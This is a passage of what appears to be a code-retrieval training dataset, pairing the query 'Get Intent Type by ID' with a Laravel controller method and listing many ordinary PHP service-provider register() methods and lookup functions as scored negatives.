register()\n\t{\n\t\t$this->registerPasswordBroker();\n\n\t\t$this->registerTokenRepository();\n\t}", "public function register()\n {\n $this->registerConfig();\n\n $this->app->register('Arcanedev\\\\LogViewer\\\\Providers\\\\UtilitiesServiceProvider');\n $this->registerLogViewer();\n $this->app->register('Arcanedev\\\\LogViewer\\\\Providers\\\\CommandsServiceProvider');\n }", "public function register() {\n $this->registerProviders();\n $this->registerFacades();\n }", "public function register()\n {\n // $this->app->make('CheckStructureService');\n }", "public function register()\n\t{\n\t\t$this->app->bind(\n\t\t\t'Illuminate\\Contracts\\Auth\\Registrar',\n\t\t\t'APIcoLAB\\Services\\Registrar'\n\t\t);\n\n $this->app->bind(\n 'APIcoLAB\\Repositories\\Flight\\FlightRepository',\n 'APIcoLAB\\Repositories\\Flight\\SkyScannerFlightRepository'\n );\n\n $this->app->bind(\n 'APIcoLAB\\Repositories\\Place\\PlaceRepository',\n 'APIcoLAB\\Repositories\\Place\\SkyScannerPlaceRepository'\n );\n\t}", "public function register()\n {\n $this->app->register(\\Maatwebsite\\Excel\\ExcelServiceProvider::class);\n $this->app->register(\\Intervention\\Image\\ImageServiceProvider::class);\n $this->app->register(\\Rap2hpoutre\\LaravelLogViewer\\LaravelLogViewerServiceProvider::class);\n $this->app->register(\\Yajra\\Datatables\\DatatablesServiceProvider::class);\n $this->app->register(\\Yajra\\Datatables\\ButtonsServiceProvider::class);\n\n $loader = null;\n if (class_exists('Illuminate\\Foundation\\AliasLoader')) {\n $loader = \\Illuminate\\Foundation\\AliasLoader::getInstance();\n }\n\n // Facades\n if ($loader != null) {\n $loader->alias('Image', \\Intervention\\Image\\Facades\\Image::class);\n $loader->alias('Excel', \\Maatwebsite\\Excel\\Facades\\Excel::class);\n\n }\n\n if (app()->environment() != 'production') {\n // Service Providers\n $this->app->register(\\Barryvdh\\LaravelIdeHelper\\IdeHelperServiceProvider::class);\n $this->app->register(\\Barryvdh\\Debugbar\\ServiceProvider::class);\n\n // Facades\n if ($loader != null) {\n $loader->alias('Debugbar', \\Barryvdh\\Debugbar\\Facade::class);\n }\n }\n\n if ($this->app->environment('local', 'testing')) {\n $this->app->register(\\Laravel\\Dusk\\DuskServiceProvider::class);\n }\n }", "public function register()\n {\n $this->registerInertia();\n $this->registerLengthAwarePaginator();\n }", "public function register()\n {\n $this->registerFlareFacade();\n $this->registerServiceProviders();\n $this->registerBindings();\n }", "public function register()\n {\n $this->app->bind(\n 'Toyopecas\\Repositories\\TopoRepository',\n 'Toyopecas\\Repositories\\TopoRepositoryEloquent'\n );\n\n $this->app->bind(\n 'Toyopecas\\Repositories\\ServicesRepository',\n 'Toyopecas\\Repositories\\ServicesRepositoryEloquent'\n );\n\n $this->app->bind(\n 'Toyopecas\\Repositories\\SobreRepository',\n 'Toyopecas\\Repositories\\SobreRepositoryEloquent'\n );\n\n $this->app->bind(\n 'Toyopecas\\Repositories\\ProdutosRepository',\n 'Toyopecas\\Repositories\\ProdutosRepositoryEloquent'\n );\n }", "public function register()\r\n {\r\n Passport::ignoreMigrations();\r\n\r\n $this->app->singleton(\r\n CityRepositoryInterface::class,\r\n CityRepository::class\r\n );\r\n\r\n $this->app->singleton(\r\n BarangayRepositoryInterface::class,\r\n BarangayRepository::class\r\n );\r\n }", "public function register()\n {\n $this->registerRepositories();\n\n $this->pushMiddleware();\n }", "public function register()\r\n {\r\n $this->mergeConfigFrom(__DIR__ . '/../config/laravel-base.php', 'laravel-base');\r\n\r\n $this->app->bind(UuidGenerator::class, UuidGeneratorService::class);\r\n\r\n }", "public function register()\n {\n\n $this->app->register(RepositoryServiceProvider::class);\n }", "public function register()\n {\n $this->app->bind(\n 'Uhmane\\Repositories\\ContatosRepository', \n 'Uhmane\\Repositories\\ContatosRepositoryEloquent'\n );\n }", "public function register()\r\n {\r\n $this->app->bind(\r\n ViberServiceInterface::class,\r\n ViberService::class\r\n );\r\n\r\n $this->app->bind(\r\n ApplicantServiceInterface::class,\r\n ApplicantService::class\r\n );\r\n }", "public function register()\n {\n $this->app->register('ProAI\\Datamapper\\Providers\\MetadataServiceProvider');\n\n $this->app->register('ProAI\\Datamapper\\Presenter\\Providers\\MetadataServiceProvider');\n\n $this->registerScanner();\n\n $this->registerCommands();\n }", "public function register()\n {\n $this->app->bind(\n 'Larafolio\\Http\\HttpValidator\\HttpValidator',\n 'Larafolio\\Http\\HttpValidator\\CurlValidator'\n );\n\n $this->app->register(ImageServiceProvider::class);\n }", "public function register()\n {\n // Register all repositories\n foreach ($this->repositories as $repository) {\n $this->app->bind(\"App\\Repository\\Contracts\\I{$repository}\",\n \"App\\Repository\\Repositories\\\\{$repository}\");\n }\n\n // Register all services\n foreach ($this->services as $service) {\n $this->app->bind(\"App\\Service\\Contracts\\I{$service}\", \n \"App\\Service\\Modules\\\\{$service}\");\n }\n }", "public function register()\n {\n $this->registerAdapterFactory();\n $this->registerDigitalOceanFactory();\n $this->registerManager();\n $this->registerBindings();\n }", "public function register()\n {\n // Only Environment local\n if ($this->app->environment() !== 'production') {\n foreach ($this->services as $serviceClass) {\n $this->registerClass($serviceClass);\n }\n }\n\n // Register Aliases\n $this->registerAliases();\n }", "public function register()\n {\n $this->app->bind(\n 'App\\Contracts\\UsersInterface',\n 'App\\Services\\UsersService'\n );\n $this->app->bind(\n 'App\\Contracts\\CallsInterface',\n 'App\\Services\\CallsService'\n );\n $this->app->bind(\n 'App\\Contracts\\ContactsInterface',\n 'App\\Services\\ContactsService'\n );\n $this->app->bind(\n 'App\\Contracts\\EmailsInterface',\n 'App\\Services\\EmailsService'\n );\n $this->app->bind(\n 'App\\Contracts\\PhoneNumbersInterface',\n 'App\\Services\\PhoneNumbersService'\n );\n $this->app->bind(\n 'App\\Contracts\\NumbersInterface',\n 'App\\Services\\NumbersService'\n );\n $this->app->bind(\n 'App\\Contracts\\UserNumbersInterface',\n 'App\\Services\\UserNumbersService'\n );\n }", "public function register()\n {\n //\n if (env('APP_DEBUG', false) && $this->app->isLocal()) {\n $this->app->register(\\Laravel\\Telescope\\TelescopeServiceProvider::class);\n $this->app->register(TelescopeServiceProvider::class);\n }\n }", "public function register()\n {\n $this->registerBrowser();\n\n $this->registerViewFinder();\n }", "public function register()\n {\n $this->registerFriendsLog();\n $this->registerNotifications();\n $this->registerAPI();\n $this->registerMailChimpIntegration();\n }", "public function register()\n {\n $this->mergeConfigFrom(__DIR__.'/../config/awesio-auth.php', 'awesio-auth');\n\n $this->app->singleton(AuthContract::class, Auth::class);\n\n $this->registerRepositories();\n\n $this->registerServices();\n\n $this->registerHelpers();\n }", "public function register()\n {\n $this->registerRepository();\n $this->registerMigrator();\n $this->registerArtisanCommands();\n }", "public function register()\n {\n $this->mergeConfigFrom(\n __DIR__.'/../config/services.php', 'services'\n );\n }", "public function register()\n {\n $this->registerRateLimiting();\n\n $this->registerHttpValidation();\n\n $this->registerHttpParsers();\n\n $this->registerResponseFactory();\n\n $this->registerMiddleware();\n }", "public function register()\n {\n $this->registerConfig();\n $this->registerView();\n $this->registerMessage();\n $this->registerMenu();\n $this->registerOutput();\n $this->registerCommands();\n require __DIR__ . '/Service/ServiceProvider.php';\n require __DIR__ . '/Service/RegisterRepoInterface.php';\n require __DIR__ . '/Service/ErrorHandling.php';\n $this->registerExportDompdf();\n $this->registerExtjs();\n }", "public function register()\n {\n $this->registerRepository();\n $this->registerParser();\n }", "public function register()\n {\n $this->registerOtherProviders()->registerAliases();\n $this->loadViewsFrom(__DIR__.'/../../resources/views', 'jarvisPlatform');\n $this->app->bind('jarvis.auth.provider', AppAuthenticationProvider::class);\n $this->loadRoutes();\n }", "public function register()\n {\n $loader = \\Illuminate\\Foundation\\AliasLoader::getInstance();\n\n $loader->alias('Laratrust', 'Laratrust\\LaratrustFacade');\n $loader->alias('Form', 'Collective\\Html\\FormFacade');\n $loader->alias('Html', 'Collective\\Html\\HtmlFacade');\n $loader->alias('Markdown', 'BrianFaust\\Parsedown\\Facades\\Parsedown');\n\n $this->app->register('Baum\\Providers\\BaumServiceProvider');\n $this->app->register('BrianFaust\\Parsedown\\ServiceProvider');\n $this->app->register('Collective\\Html\\HtmlServiceProvider');\n $this->app->register('Laravel\\Scout\\ScoutServiceProvider');\n $this->app->register('Laratrust\\LaratrustServiceProvider');\n\n $this->app->register('Christhompsontldr\\Laraboard\\Providers\\AuthServiceProvider');\n $this->app->register('Christhompsontldr\\Laraboard\\Providers\\EventServiceProvider');\n $this->app->register('Christhompsontldr\\Laraboard\\Providers\\ViewServiceProvider');\n\n $this->registerCommands();\n }", "public function register()\n {\n $this->registerGuard();\n $this->registerBladeDirectives();\n }", "public function register()\n {\n $this->registerConfig();\n\n $this->app->register(Providers\\ManagerServiceProvider::class);\n $this->app->register(Providers\\ValidationServiceProvider::class);\n }", "public function register()\n {\n $this->app->bind(ReviewService::class, function ($app) {\n return new ReviewService();\n });\n }", "public function register()\n {\n $this->app->bind(\n Services\\UserService::class,\n Services\\Implementations\\UserServiceImplementation::class\n );\n $this->app->bind(\n Services\\FamilyCardService::class,\n Services\\Implementations\\FamilyCardServiceImplementation::class\n );\n }", "public function register()\n {\n // register its dependencies\n $this->app->register(\\Cviebrock\\EloquentSluggable\\ServiceProvider::class);\n }", "public function register()\n {\n $this->app->bind('gameService', 'App\\Service\\GameService');\n }", "public function register()\n {\n $this->app->bind(VehicleRepository::class, GuzzleVehicleRepository::class);\n }", "public function register()\n {\n $this->app->bindShared(ElasticsearchNedvizhimostsObserver::class, function($app){\n return new ElasticsearchNedvizhimostsObserver(new Client());\n });\n\n // $this->app->bindShared(ElasticsearchNedvizhimostsObserver::class, function()\n // {\n // return new ElasticsearchNedvizhimostsObserver(new Client());\n // });\n }", "public function register()\n {\n // Register the app\n $this->registerApp();\n\n // Register Commands\n $this->registerCommands();\n }", "public function register()\n {\n $this->registerGeography();\n\n $this->registerCommands();\n\n $this->mergeConfig();\n\n $this->countriesCache();\n }", "public function register()\n {\n $this->app->bind(CertificationService::class, function($app){\n return new CertificationService();\n });\n }", "public function register()\n\t{\n\t\t$this->app->bind(\n\t\t\t'Illuminate\\Contracts\\Auth\\Registrar',\n\t\t\t'App\\Services\\Registrar'\n\t\t);\n \n $this->app->bind(\"App\\\\Services\\\\ILoginService\",\"App\\\\Services\\\\LoginService\");\n \n $this->app->bind(\"App\\\\Repositories\\\\IItemRepository\",\"App\\\\Repositories\\\\ItemRepository\");\n $this->app->bind(\"App\\\\Repositories\\\\IOutletRepository\",\"App\\\\Repositories\\\\OutletRepository\");\n $this->app->bind(\"App\\\\Repositories\\\\IInventoryRepository\",\"App\\\\Repositories\\\\InventoryRepository\");\n\t}", "public function register()\n {\n $this->registerRollbar();\n }", "public function register()\n {\n $this->app->bind('activity', function () {\n return new ActivityService(\n $this->app->make(Activity::class),\n $this->app->make(PermissionService::class)\n );\n });\n\n $this->app->bind('views', function () {\n return new ViewService(\n $this->app->make(View::class),\n $this->app->make(PermissionService::class)\n );\n });\n\n $this->app->bind('setting', function () {\n return new SettingService(\n $this->app->make(Setting::class),\n $this->app->make(Repository::class)\n );\n });\n\n $this->app->bind('images', function () {\n return new ImageService(\n $this->app->make(Image::class),\n $this->app->make(ImageManager::class),\n $this->app->make(Factory::class),\n $this->app->make(Repository::class)\n );\n });\n }", "public function register()\n {\n App::bind('CreateTagService', function($app) {\n return new CreateTagService;\n });\n\n App::bind('UpdateTagService', function($app) {\n return new UpdateTagService;\n });\n }", "public function register()\n {\n $this->registerDomainLocalization();\n $this->registerDomainLocaleFilter();\n }", "public function register()\n {\n $this->app->register(RouteServiceProvider::class);\n $this->app->register(MailConfigServiceProvider::class);\n }", "public function register()\n {\n $this->registerUserProvider();\n $this->registerGroupProvider();\n $this->registerNeo();\n\n $this->registerCommands();\n\n $this->app->booting(function()\n {\n $loader = \\Illuminate\\Foundation\\AliasLoader::getInstance();\n $loader->alias('Neo', 'Wetcat\\Neo\\Facades\\Neo');\n });\n }", "public function register()\n {\n //\n $this->app->bind(\n 'App\\Repositories\\Interfaces\\CompanyInterface', \n 'App\\Repositories\\CompanyRepo'\n );\n $this->app->bind(\n 'App\\Repositories\\Interfaces\\UtilityInterface', \n 'App\\Repositories\\UtilityRepo'\n );\n }", "public function register()\n {\n $this->registerPayment();\n\n $this->app->alias('image', 'App\\Framework\\Image\\ImageService');\n }", "public function register()\n {\n $this->app->bind(AttributeServiceInterface::class,AttributeService::class);\n $this->app->bind(ProductServiceIntarface::class,ProductService::class);\n\n\n }", "public function register()\n {\n App::bind('App\\Repositories\\UserRepositoryInterface','App\\Repositories\\UserRepository');\n App::bind('App\\Repositories\\AnimalRepositoryInterface','App\\Repositories\\AnimalRepository');\n App::bind('App\\Repositories\\DonationTypeRepositoryInterface','App\\Repositories\\DonationTypeRepository');\n App::bind('App\\Repositories\\NewsAniRepositoryInterface','App\\Repositories\\NewsAniRepository');\n App::bind('App\\Repositories\\DonationRepositoryInterface','App\\Repositories\\DonationRepository');\n App::bind('App\\Repositories\\ProductRepositoryInterface','App\\Repositories\\ProductRepository');\n App::bind('App\\Repositories\\CategoryRepositoryInterface','App\\Repositories\\CategoryRepository');\n App::bind('App\\Repositories\\TransferMoneyRepositoryInterface','App\\Repositories\\TransferMoneyRepository');\n App::bind('App\\Repositories\\ShippingRepositoryInterface','App\\Repositories\\ShippingRepository');\n App::bind('App\\Repositories\\ReserveProductRepositoryInterface','App\\Repositories\\ReserveProductRepository');\n App::bind('App\\Repositories\\Product_reserveRepositoryInterface','App\\Repositories\\Product_reserveRepository');\n App::bind('App\\Repositories\\Ordering_productRepositoryInterface','App\\Repositories\\Ordering_productRepository');\n App::bind('App\\Repositories\\OrderingRepositoryInterface','App\\Repositories\\OrderingRepository');\n App::bind('App\\Repositories\\UserUpdateSlipRepositoryInterface','App\\Repositories\\UserUpdateSlipRepository');\n }", "public function register()\n {\n if ($this->app->runningInConsole()) {\n $this->registerPublishing();\n }\n }", "public function register()\n {\n $this->app->bind(HttpClient::class, function ($app) {\n return new HttpClient();\n });\n\n $this->app->bind(SeasonService::class, function ($app) {\n return new SeasonService($app->make(HttpClient::class));\n });\n\n $this->app->bind(MatchListingController::class, function ($app) {\n return new MatchListingController($app->make(SeasonService::class));\n });\n\n }", "public function register()\n {\n $this->setupConfig();\n\n $this->bindServices();\n }", "public function register()\n {\n if ($this->app->runningInConsole()) {\n $this->commands([\n Console\\MakeEndpointCommand::class,\n Console\\MakeControllerCommand::class,\n Console\\MakeRepositoryCommand::class,\n Console\\MakeTransformerCommand::class,\n Console\\MakeModelCommand::class,\n ]);\n }\n\n $this->registerFractal();\n }", "public function register()\n {\n $this->app->register(RouteServiceProvider::class);\n $this->app->register(AuthServiceProvider::class);\n }", "public function register()\n {\n\n $config = $this->app['config']['cors'];\n\n $this->app->bind('Yocome\\Cors\\CorsService', function() use ($config){\n return new CorsService($config);\n });\n\n }", "public function register()\n {\n // Bind facade\n\n $this->registerRepositoryBibdings();\n $this->registerFacades();\n $this->app->register(RouteServiceProvider::class);\n $this->app->register(\\Laravel\\Socialite\\SocialiteServiceProvider::class);\n }", "public function register()\n {\n\n\n\n $this->app->bind(\n 'Onlinecorrection\\Repositories\\UserRepository',\n 'Onlinecorrection\\Repositories\\UserRepositoryEloquent'\n );\n\n $this->app->bind(\n 'Onlinecorrection\\Repositories\\ClientRepository',\n 'Onlinecorrection\\Repositories\\ClientRepositoryEloquent'\n );\n\n $this->app->bind(\n 'Onlinecorrection\\Repositories\\ProjectRepository',\n 'Onlinecorrection\\Repositories\\ProjectRepositoryEloquent'\n );\n\n $this->app->bind(\n 'Onlinecorrection\\Repositories\\DocumentRepository',\n 'Onlinecorrection\\Repositories\\DocumentRepositoryEloquent'\n );\n\n $this->app->bind(\n 'Onlinecorrection\\Repositories\\OrderRepository',\n 'Onlinecorrection\\Repositories\\OrderRepositoryEloquent'\n );\n\n $this->app->bind(\n 'Onlinecorrection\\Repositories\\OrderItemRepository',\n 'Onlinecorrection\\Repositories\\OrderItemRepositoryEloquent'\n );\n\n $this->app->bind(\n 'Onlinecorrection\\Repositories\\DocumentImageRepository',\n 'Onlinecorrection\\Repositories\\DocumentImageRepositoryEloquent'\n );\n $this->app->bind(\n 'Onlinecorrection\\Repositories\\PackageRepository',\n 'Onlinecorrection\\Repositories\\PackageRepositoryEloquent'\n );\n $this->app->bind(\n 'Onlinecorrection\\Repositories\\StatusRepository',\n 'Onlinecorrection\\Repositories\\StatusRepositoryEloquent'\n );\n\n }", "public function register()\n {\n $this->registerConfig();\n\n $this->registerDataStore();\n\n $this->registerStorageFactory();\n\n $this->registerStorageManager();\n\n $this->registerSimplePhoto();\n }", "public function register()\n {\n // Default configuration file\n $this->mergeConfigFrom(\n __DIR__.'/Config/auzo_tools.php', 'auzoTools'\n );\n\n $this->registerModelBindings();\n $this->registerFacadesAliases();\n }", "public function register()\n {\n $this->app->bind(\\Cookiesoft\\Repositories\\CategoryRepository::class, \\Cookiesoft\\Repositories\\CategoryRepositoryEloquent::class);\n $this->app->bind(\\Cookiesoft\\Repositories\\BillpayRepository::class, \\Cookiesoft\\Repositories\\BillpayRepositoryEloquent::class);\n $this->app->bind(\\Cookiesoft\\Repositories\\UserRepository::class, \\Cookiesoft\\Repositories\\UserRepositoryEloquent::class);\n //:end-bindings:\n }", "public function register()\n {\n $this->app->singleton(ThirdPartyAuthService::class, function ($app) {\n return new ThirdPartyAuthService(\n config('settings.authentication_services'),\n $app['Laravel\\Socialite\\Contracts\\Factory'],\n $app['Illuminate\\Contracts\\Auth\\Factory']\n );\n });\n\n $this->app->singleton(ImageValidator::class, function ($app) {\n return new ImageValidator(\n config('settings.image.max_filesize'),\n config('settings.image.mime_types'),\n $app['Intervention\\Image\\ImageManager']\n );\n });\n\n $this->app->singleton(ImageService::class, function ($app) {\n return new ImageService(\n config('settings.image.max_width'),\n config('settings.image.max_height'),\n config('settings.image.folder')\n );\n });\n\n $this->app->singleton(RandomWordService::class, function ($app) {\n return new RandomWordService(\n $app['App\\Repositories\\WordRepository'],\n $app['Illuminate\\Session\\SessionManager'],\n config('settings.number_of_words_to_remember')\n );\n });\n\n $this->app->singleton(WordRepository::class, function ($app) {\n return new WordRepository(config('settings.min_number_of_chars_per_one_mistake_in_search'));\n });\n\n $this->app->singleton(CheckAnswerService::class, function ($app) {\n return new CheckAnswerService(\n $app['Illuminate\\Session\\SessionManager'],\n config('settings.min_number_of_chars_per_one_mistake')\n );\n });\n\n if ($this->app->environment() !== 'production') {\n $this->app->register(\\Barryvdh\\LaravelIdeHelper\\IdeHelperServiceProvider::class);\n }\n }", "public function register()\n {\n $this->registerJWT();\n $this->registerJWSProxy();\n $this->registerJWTAlgoFactory();\n $this->registerPayload();\n $this->registerPayloadValidator();\n $this->registerPayloadUtilities();\n\n // use this if your package has a config file\n // config([\n // 'config/JWT.php',\n // ]);\n }", "public function register()\n {\n $this->registerManager();\n $this->registerConnection();\n $this->registerWorker();\n $this->registerListener();\n $this->registerFailedJobServices();\n $this->registerOpisSecurityKey();\n }", "public function register()\n {\n $this->app->register(RouterServiceProvider::class);\n }", "public function register()\n {\n $this->app->bind('App\\Services\\TripService.php', function ($app) {\n return new TripService();\n });\n }", "public function register()\n {\n $this->registerUserComponent();\n $this->registerLocationComponent();\n\n }", "public function register()\n {\n $this->app->bind(\n \\App\\Services\\UserCertificate\\IUserCertificateService::class,\n \\App\\Services\\UserCertificate\\UserCertificateService::class\n );\n }", "public function register()\n {\n $this->app->bind(FacebookMarketingContract::class,FacebookMarketingService::class);\n }", "public function register()\n {\n /**\n * Register additional service\n * providers if they exist.\n */\n foreach ($this->providers as $provider) {\n if (class_exists($provider)) {\n $this->app->register($provider);\n }\n }\n }", "public function register()\n {\n $this->app->singleton('composer', function($app)\n {\n return new Composer($app['files'], $app['path.base']);\n });\n\n $this->app->singleton('forge', function($app)\n {\n return new Forge($app);\n });\n\n // Register the additional service providers.\n $this->app->register('Nova\\Console\\ScheduleServiceProvider');\n $this->app->register('Nova\\Queue\\ConsoleServiceProvider');\n }", "public function register()\n {\n\n\n\n $this->mergeConfigFrom(__DIR__ . '/../config/counter.php', 'counter');\n\n $this->app->register(RouteServiceProvider::class);\n\n\n }", "public function register()\r\n {\r\n $this->mergeConfigFrom(__DIR__.'/../config/colissimo.php', 'colissimo');\r\n $this->mergeConfigFrom(__DIR__.'/../config/rules.php', 'colissimo.rules');\r\n $this->mergeConfigFrom(__DIR__.'/../config/prices.php', 'colissimo.prices');\r\n $this->mergeConfigFrom(__DIR__.'/../config/zones.php', 'colissimo.zones');\r\n $this->mergeConfigFrom(__DIR__.'/../config/insurances.php', 'colissimo.insurances');\r\n $this->mergeConfigFrom(__DIR__.'/../config/supplements.php', 'colissimo.supplements');\r\n // Register the service the package provides.\r\n $this->app->singleton('colissimo', function ($app) {\r\n return new Colissimo;\r\n });\r\n }", "public function register(){\n $this->registerDependencies();\n $this->registerAlias();\n $this->registerServiceCommands();\n }", "public function register()\n {\n $this->app->bind(\n \\App\\Services\\Survey\\ISurveyService::class,\n \\App\\Services\\Survey\\SurveyService::class\n );\n $this->app->bind(\n \\App\\Services\\Survey\\ISurveyQuestionService::class,\n \\App\\Services\\Survey\\SurveyQuestionService::class\n );\n\n $this->app->bind(\n \\App\\Services\\Survey\\ISurveyAttemptService::class,\n \\App\\Services\\Survey\\SurveyAttemptService::class\n );\n\n $this->app->bind(\n \\App\\Services\\Survey\\ISurveyAttemptDataService::class,\n \\App\\Services\\Survey\\SurveyAttemptDataService::class\n );\n }", "public function register()\n {\n $this->mergeConfigFrom(\n __DIR__ . '/../config/atlas.php', 'atlas'\n );\n \n $this->app->singleton(CoreContract::class, Core::class);\n \n $this->registerFacades([\n 'Atlas' => 'Atlas\\Facades\\Atlas',\n ]);\n }", "public function register()\n {\n $this->app->bind(TelescopeRouteServiceContract::class, TelescopeRouteService::class);\n }", "public function register()\n {\n $this->registerRepositoryBindings();\n\n $this->registerInterfaceBindings();\n\n $this->registerAuthorizationServer();\n\n $this->registerResourceServer();\n\n $this->registerFilterBindings();\n\n $this->registerCommands();\n }", "public function register()\n {\n $this->mergeConfigFrom(__DIR__.'/../config/faithgen-events.php', 'faithgen-events');\n\n $this->app->singleton(EventsService::class);\n $this->app->singleton(GuestService::class);\n }", "public function register()\n {\n $this->registerAliases();\n $this->registerFormBuilder();\n\n // Register package commands\n $this->commands([\n 'CoreDbCommand',\n 'CoreSetupCommand',\n 'CoreSeedCommand',\n 'EventEndCommand',\n 'ArchiveMaxAttempts',\n 'CronCommand',\n 'ExpireInstructors',\n 'SetTestLock',\n 'StudentArchiveTraining',\n 'TestBuildCommand',\n 'TestPublishCommand',\n ]);\n\n // Merge package config with one in outer app \n // the app-level config will override the base package config\n $this->mergeConfigFrom(\n __DIR__.'/../config/core.php', 'core'\n );\n\n // Bind our 'Flash' class\n $this->app->bindShared('flash', function () {\n return $this->app->make('Hdmaster\\Core\\Notifications\\FlashNotifier');\n });\n\n // Register package dependencies\n $this->app->register('Collective\\Html\\HtmlServiceProvider');\n $this->app->register('Bootstrapper\\BootstrapperL5ServiceProvider');\n $this->app->register('Codesleeve\\LaravelStapler\\Providers\\L5ServiceProvider');\n $this->app->register('PragmaRX\\ZipCode\\Vendor\\Laravel\\ServiceProvider');\n $this->app->register('Rap2hpoutre\\LaravelLogViewer\\LaravelLogViewerServiceProvider');\n\n $this->app->register('Zizaco\\Confide\\ServiceProvider');\n $this->app->register('Zizaco\\Entrust\\EntrustServiceProvider');\n }" ]
[ "0.7879658", "0.7600202", "0.74930716", "0.73852855", "0.736794", "0.7306089", "0.7291359", "0.72896826", "0.72802424", "0.7268026", "0.7267702", "0.72658145", "0.7249053", "0.72171587", "0.7208486", "0.7198799", "0.7196415", "0.719478", "0.7176513", "0.7176227", "0.7164647", "0.71484524", "0.71337837", "0.7129424", "0.71231985", "0.7120174", "0.7103653", "0.71020955", "0.70977163", "0.7094701", "0.7092148", "0.70914364", "0.7088618", "0.7087278", "0.70827085", "0.70756096", "0.7075115", "0.70741326", "0.7071857", "0.707093", "0.7070619", "0.7067406", "0.7066438", "0.7061766", "0.70562875", "0.7051525", "0.7049684", "0.70467263", "0.7043264", "0.7043229", "0.70429426", "0.7042174", "0.7038729", "0.70384216", "0.70348704", "0.7034105", "0.70324445", "0.70282733", "0.7025024", "0.702349", "0.7023382", "0.702262", "0.7022583", "0.7022161", "0.702139", "0.7021084", "0.7020801", "0.7019928", "0.70180106", "0.7017351", "0.7011482", "0.7008627", "0.7007786", "0.70065045", "0.7006424", "0.70060986", "0.69992065", "0.699874", "0.69980377", "0.69980335", "0.6997871", "0.6996457", "0.69961494", "0.6994749", "0.6991596", "0.699025", "0.6988414", "0.6987274", "0.69865865", "0.69862866", "0.69848233", "0.6978736", "0.69779474", "0.6977697", "0.6976002", "0.69734764", "0.6972392", "0.69721776", "0.6970663", "0.6968296", "0.696758" ]
0.0
-1
Get Intent Type by ID Responds with a specific Intent Type by its ID
public function show(Request $request, IntentTypeFilters $filters, $id) { $type = $this->service()->repo()->single($id, $filters); $this->authorize('view', $type); /** ensure the current user has view rights */ return $type; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function getIntent() {}", "public function getIntent() {}", "public function search_movie_by_imdb_id($id, $type = 'imdb') {\n $format = variable_get('rottentomatoes_format', '.json');\n $params['type'] = $type;\n $params['id'] = $id;\n return $this->call('movie_alias/' . $format, $params, 'GET');\n }", "function getType($id)\n\t{\n\t\tif (empty($id)) //safe because we never use 0 as an id\n\t\t{\n\t\t\t$currentID = $this->getID();\n\t\t\tif (empty($currentID)) return false;\n\t\t\t$id = $currentID;\n\t\t}\n\t\t$result = $this->find('first', array(\n\t\t\t'conditions' => array('id' => $id),\n\t\t\t'fields' => array('ans_type')\n\t\t));\n\t\tif (empty($result)) return false;\n\t\treturn $result['Answer']['ans_type'];\n\t}", "private function getType($id) {\n \n $this->loadTypes();\n \n foreach ($this->types as $type) {\n \n if ($type->getId() === $id) return $type;\n }\n \n return NULL;\n }", "function findItem($type, $id)\n {\n foreach ($this->getItems() as $item)\n if ($item->item_id == $id && $item->item_type == $type)\n return $item;\n return null;\n }", "function get_request_type($id_request_type){\n $this->db->where('id', $id_request_type);\n $query = $this->db->get('type_request');\n return($query->result());\n }", "public function getResponceType()\n {\n return $this->responceType;\n }", "public function type($id)\n {\n return $this->where('user_type_id', $id);\n }", "public function get_message_type_by_id($id)\n\t{\n\t\t$query = $this->db->get_where('message_type', array('message_type_id' => $id));\n\t\treturn $query;\n\t}", "private function findEntryById( $type, $id, $updateInteractionLabel = true )\n {\n $this->setActionId() ;\n \n $this->log( \"Find \" . $type . \" by id : \" . $id, Logger::LOG_INFO, __METHOD__ ) ;\n $entry = null ;\n\n $extType = $this->entitiesMgr->getEntityType( $type ) ;\n $raw = $this->interactionMgr->getSingleEntry( $extType, $id ) ;\n\n if( empty( $raw ) )\n {\n $this->log( \"=> Not found : \" . $type . \" id : \" . $id, Logger::LOG_INFO, __METHOD__ ) ;\n return null ;\n }\n\n $this->log( \"=> Found : \" . $type . \" id : \" . $id, Logger::LOG_INFO, __METHOD__ ) ;\n $entry = $this->entitiesMgr->getEntryInstance( $type, $raw, $updateInteractionLabel ) ;\n\n $this->clearActionId() ;\n\n return $entry ;\n }", "public function likeSubjectByTypeAndId(string $type, string $id)\n {\n $user = auth()->user();\n\n switch ($type) {\n case 'groupNotification':\n $notification = Notification::where('id', $id)->firstOrFail();\n auth()->user()->liking($notification);\n break;\n case 'comment':\n $comment = Comment::where('id', $id)->firstOrFail();\n if ($user->likes($comment)) {\n $user->unlike($comment);\n } else {\n $user->like($comment);\n }\n\n break;\n }\n }", "public function get($typeId);", "public function getIntent()\r\n {\r\n return $this->intent;\r\n }", "public function get_activity_type($activity_id, $thread_id = NULL, $process_id = NULL) {\n\t\t$query = $this->db->select ( 'id_thread' )->where ( 'id', $activity_id )->get ( 'activities' );\n\t\t$result = $query->row ();\n\t\t$thread_id = $result->id_thread;\n\t\t\n\t\t// get activity_type\n\t\t$query = $this->db->query ( 'select sa.id as activity_type from setup_activities sa JOIN setup_processes sp ON sa.id_process=sp.id JOIN threads t ON t.type=sp.key JOIN activities a ON a.id_thread=t.id where a.id=' . $activity_id . ' and t.id=' . $thread_id . ' and sa.key = (select aa.type from activities aa where aa.id= ' . $activity_id . ')' );\n\t\treturn $query->row ();\n\t}", "function get_user_action_of_type($user_id, $action_type) {\n global $db_actions;\n return try_get_row(\"SELECT a.* FROM $db_actions as a WHERE a.action_type = '$action_type' AND a.user_id = $user_id\");\n}", "function lookupEventType($event_id){\n\t$data = M('event');\n\tif((int)$event_id>=1){\n\t\t$condition['id'] = (int)$event_id;\n\t\t$eventdate = $data->where($condition)->find();\n\t\treturn $eventdate['type'];\n\t}\n\telse return false;\n}", "function get_by_type( $type_id )\n {\n $this->db->where('type_id', $type_id);\n $this->db->limit(1);\n return $this->db->get('card_types')->row();\n }", "public function get_message_type($id)\n\t{\n\t\t$sql=\"SELECT * FROM message_type ORDER BY (`message_type_id` = $id) DESC\";\n\t\t$query=$this->db->query($sql);\n\t\treturn $query->result_object();\n\n\t}", "public function type() {\n return $this->hasOne(EventType::class, 'id', 'events_types_id');\n }", "public function get_job_type_by_id($id){\n\t\t$query = $this->db->get_where('xx_job_type', array('id' => $id));\n\t\treturn $result = $query->row_array();\n\t}", "public function getType($id)\n {\n if (null === $id) {\n // The caller might call us using a row from database that contains\n // a strict null, it is useless for us to do any query since null\n // typed messages are valid by the MessageInterface signature\n return null;\n }\n\n if (null === $this->types) {\n $this->loadCache();\n }\n\n if (!isset($this->types[$id])) {\n // Someone may have created it before we loaded the cache\n $this->loadCache();\n\n if 